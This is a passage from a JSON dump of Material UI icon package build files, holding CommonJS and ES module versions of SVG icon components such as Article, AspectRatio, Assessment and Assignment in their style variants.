    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'Article');"
  },
  {
    "path": "packages/mui-icons-material/lib/Article.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'Article');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}, \"1\")], 'ArticleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}, \"1\")], 'ArticleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 14H8c-.55 0-1-.45-1-1s.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1m3-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m0-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ArticleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 14H8c-.55 0-1-.45-1-1s.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1m3-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m0-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ArticleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm11 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'ArticleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm11 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'ArticleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm9 12H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-2-6H7v-2h10zm0-4H7V7h10zm-3 8H7v-2h7z\"\n}, \"1\")], 'ArticleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArticleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm9 12H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-2-6H7v-2h10zm0-4H7V7h10zm-3 8H7v-2h7z\"\n}, \"1\")], 'ArticleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatio.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-2v3h-3v2h5zM7 9h3V7H5v5h2zm14-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'AspectRatio');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatio.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-2v3h-3v2h5zM7 9h3V7H5v5h2zm14-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'AspectRatio');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-2v3h-3v2h5zM7 9h3V7H5v5h2zm14-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'AspectRatioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-2v3h-3v2h5zM7 9h3V7H5v5h2zm14-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'AspectRatioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12c-.55 0-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1M7 9h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1s1-.45 1-1zm14-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16.01H4c-.55 0-1-.45-1-1V5.99c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.02c0 .55-.45 1-1 1\"\n}), 'AspectRatioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12c-.55 0-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1M7 9h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1s1-.45 1-1zm14-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16.01H4c-.55 0-1-.45-1-1V5.99c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.02c0 .55-.45 1-1 1\"\n}), 'AspectRatioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-2v3h-3v2h5zM7 9h3V7H5v5h2zm16-6H1v18h22zm-2 16.01H3V4.99h18z\"\n}), 'AspectRatioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-2v3h-3v2h5zM7 9h3V7H5v5h2zm16-6H1v18h22zm-2 16.01H3V4.99h18z\"\n}), 'AspectRatioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19.01h18V4.99H3zM14 15h3v-3h2v5h-5zM5 7h5v2H7v3H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM7 9h3V7H5v5h2zm12 3h-2v3h-3v2h5z\"\n}, \"1\")], 'AspectRatioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AspectRatioTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19.01h18V4.99H3zM14 15h3v-3h2v5h-5zM5 7h5v2H7v3H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM7 9h3V7H5v5h2zm12 3h-2v3h-3v2h5z\"\n}, \"1\")], 'AspectRatioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Assessment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'Assessment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Assessment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'Assessment');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}), 'AssessmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}), 'AssessmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'AssessmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'AssessmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'AssessmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'AssessmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm4 12H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}, \"1\")], 'AssessmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssessmentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm4 12H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}, \"1\")], 'AssessmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Assignment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m2 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'Assignment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Assignment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m2 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'Assignment');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.69 15c.36-.75.84-1.43 1.43-2H7v-2h11c1.07 0 2.09.25 3 .69V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6.69c-.44-.91-.69-1.93-.69-3 0-.34.03-.67.08-1H7v-2zM12 2.75c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M7 7h10v2H7z\"\n}, \"1\")], 'AssignmentAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.69 15c.36-.75.84-1.43 1.43-2H7v-2h11c1.07 0 2.09.25 3 .69V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6.69c-.44-.91-.69-1.93-.69-3 0-.34.03-.67.08-1H7v-2zM12 2.75c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M7 7h10v2H7z\"\n}, \"1\")], 'AssignmentAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentInd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1.4c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'AssignmentInd');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentInd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1.4c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'AssignmentInd');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndOutlined.js",
